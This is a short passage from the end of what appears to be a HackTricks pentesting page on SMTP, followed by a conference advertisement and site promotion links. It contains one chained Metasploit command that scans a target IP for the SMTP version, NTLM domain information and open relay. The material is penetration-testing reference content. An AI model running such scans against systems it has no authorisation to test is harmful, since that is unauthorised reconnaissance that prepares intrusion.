Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||
|
||
```
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|